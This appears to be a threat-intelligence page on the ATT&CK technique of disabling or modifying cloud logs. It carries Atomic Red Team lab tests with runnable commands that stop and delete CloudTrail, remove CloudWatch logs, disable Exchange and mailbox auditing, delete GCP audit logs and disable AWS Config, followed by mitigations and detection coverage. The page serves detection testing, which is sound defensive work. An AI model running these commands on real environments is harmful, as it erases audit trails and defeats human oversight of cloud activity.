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ATT&CK Technique

Disable or Modify Cloud Log

T1685.002 · defense-impairment

An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.

For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity. They may alternatively tamper with logging functionality, for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files. In Office 365, an adversary may disable logging on mail collection activities for specific users by using the Set-MailboxAuditBypassAssociation cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.

IaaSSaaSIdentity ProviderOffice Suite
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Atomic Tests

11
Executable Atomic Red Team test cases for exercising this technique in a lab. Copy a command, run it on the listed platform, confirm your detections fire.
shiaas:awsAWS - CloudTrail Changes
Creates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail 
aws cloudtrail update-trail --name #{cloudtrail_name} --s3-bucket-name #{s3_bucket_name}  --is-multi-region-trail --region #{region}
aws cloudtrail stop-logging --name #{cloudtrail_name} --region #{region}
aws cloudtrail delete-trail --name #{cloudtrail_name} --region #{region}
powershelliaas:azureAzure - Eventhub Deletion
Identifies an Event Hub deletion in Azure. An Event Hub is an event processing service that ingests and processes large volumes of events and data. An adversary may delete an Event Hub in an attempt to evade detection. https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about. 
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-AzureAD -Credential $creds
Remove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name}
powershelloffice-365Office 365 - Exchange Audit Log Disabled
You can use the Exchange Management Shell to enable or disable mailbox audit logging for a mailbox. Unified or Admin Audit logs are disabled via the Exchange Powershell cmdline. https://github.com/Azure/Azure-Sentinel/blob/master/Detections/OfficeActivity/exchange_auditlogdisabled.yaml 
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False
shlinux, macos, iaas:awsAWS - Disable CloudTrail Logging Through Event Selectors using Stratus
Update event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/ 
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.cloudtrail-event-selectors
echo "starting detonate"
./stratus detonate aws.defense-evasion.cloudtrail-event-selectors --force
shlinux, macos, iaas:awsAWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus
This Atomic test will use the Stratus Red Team will first setup a CloudTrail logging into an S3 bucket and will then make an API call to update the lifecycle rule on that S3 bucket with an expiration date of 1 day. This will essentially delete all the logs after one day. Adversaries often do this actiivity to evade detection. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/ 
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule
echo "starting detonate"
./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force
shlinux, macos, iaas:awsAWS - Remove VPC Flow Logs using Stratus
This Atomic will attempt to remove AWS VPC Flow Logs configuration. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/ 
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.vpc-remove-flow-logs
echo "starting detonate"
./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force
shiaas:awsAWS - CloudWatch Log Group Deletes
Creates a new cloudWatch log group in AWS, Upon successful creation it will Delete the group. Attackers can use this technique to evade defenses by deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion 
aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Created ***"
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Deleted ***"
shiaas:awsAWS CloudWatch Log Stream Deletes
Creates a new cloudWatch log stream in AWS, Upon successful creation it will Delete the stream. Attackers can use this technique to evade defenses by deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-stream-deletion.html 
aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Created ***"
aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
echo "*** Log Stream Created ***"
aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
echo "*** Log Stream Deleted ***"
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Deleted ***"
powershelloffice-365Office 365 - Set Audit Bypass For a Mailbox
Use Exchange Management Shell to Mailbox auditing to bypass. It will prevent any mailbox audit logging entries being generated for the target e-mail box. https://learn.microsoft.com/en-us/powershell/module/exchange/set-mailboxauditbypassassociation?view=exchange-ps 
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Set-MailboxAuditBypassAssociation -Identity "#{target_email}" -AuditBypassEnabled $true
shiaas:gcpGCP - Delete Activity Event Log
GCP provides 4 types of Cloud Audit Logs: Admin Activity, Data Access, System Events, and Policy Denied. An adversary may attempt to delete logs in order to hide their activity. However, Admin Activity, System Events, and Policy Deny events logs cannot be deleted. This Atomic attempts to delete the Activity Event log. An event is generated under the method name of `google.logging.v2.LoggingServiceV2.DeleteLog` with a Serverity of `ERROR`. 
gcloud config set project #{project-id}
gcloud logging logs delete projects/#{project-id}/logs/cloudaudit.googleapis.com%2Factivity --quiet
shiaas:awsAWS - Config Logs Disabled
Disables AWS Config by stopping the configuration recorder, deleting the delivery channel, and deleting the configuration recorder. An attacker with sufficient permissions can use this to stop configuration change recording and avoid detection of subsequent activity. 
aws configservice stop-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region}
echo "*** Configuration recorder stopped ***"
aws configservice delete-delivery-channel --delivery-channel-name #{delivery_channel_name} --region #{region}
echo "*** Delivery channel deleted ***"
aws configservice delete-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region}
echo "*** Configuration recorder deleted ***"
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Mitigations

1
MITRE ATT&CK mitigations - vendor-agnostic guidance for reducing exposure to this technique.
M1018User Account Management

User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies.

Enforcing the Principle of Least Privilege
  • Implementation: Assign users only the minimum permissions required to perform their job functions. Regularly audit accounts to ensure no excess permissions are granted.
  • Use Case: Reduces the risk of privilege escalation by ensuring accounts cannot perform unauthorized actions. Implementing Strong Password Policies.
  • Implementation: Enforce password complexity requirements (e.g., length, character types). Require password expiration every 90 days and disallow password reuse.
  • Use Case: Prevents adversaries from gaining unauthorized access through password guessing or brute force attacks. Managing Dormant and Orphaned Accounts.
  • Implementation: Implement automated workflows to disable accounts after a set period of inactivity (e.g., 30 days). Remove orphaned accounts (e.g., accounts without an assigned owner) during regular account audits.
  • Use Case: Eliminates dormant accounts that could be exploited by attackers. Account Lockout Policies.
  • Implementation: Configure account lockout thresholds (e.g., lock accounts after five failed login attempts). Set lockout durations to a minimum of 15 minutes.
  • Use Case: Mitigates automated attack techniques that rely on repeated login attempts. Multi-Factor Authentication (MFA) for High-Risk Accounts.
  • Implementation: Require MFA for all administrative accounts and high-risk users. Use MFA mechanisms like hardware tokens, authenticator apps, or biometrics.
  • Use Case: Prevents unauthorized access, even if credentials are stolen. Restricting Interactive Logins.
  • Implementation: Restrict interactive logins for privileged accounts to specific secure systems or management consoles. Use group policies to enforce logon restrictions.
  • Use Case: Protects sensitive accounts from misuse or exploitation.
Tools for Implementation Built-in Tools
  • Microsoft Active Directory (AD): Centralized account management and RBAC enforcement.
  • Group Policy Object (GPO): Enforce password policies, logon restrictions, and account lockout policies.
Identity and Access Management (IAM) Tools
  • Okta: Centralized user provisioning, MFA, and SSO integration.
  • Microsoft Azure Active Directory: Provides advanced account lifecycle management, role-based access, and conditional access policies.
Privileged Account Management (PAM)
  • CyberArk, BeyondTrust, Thycotic: Manage and monitor privileged account usage, enforce session recording, and JIT access.
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Detection Coverage

1/6 layers
Coverage across standard detection surfaces. Rows marked none have no rule of that type mapped. Some are real blind spots worth closing; others are simply not applicable to this technique (e.g. YARA matches malware files, not network behaviour).
Behavioral / log (Sigma) 3
Analytics (MITRE CAR) none
Runtime / container (Falco) none
File / malware (YARA) none
Network (Suricata/Snort) none
Vuln scan (Nuclei) none
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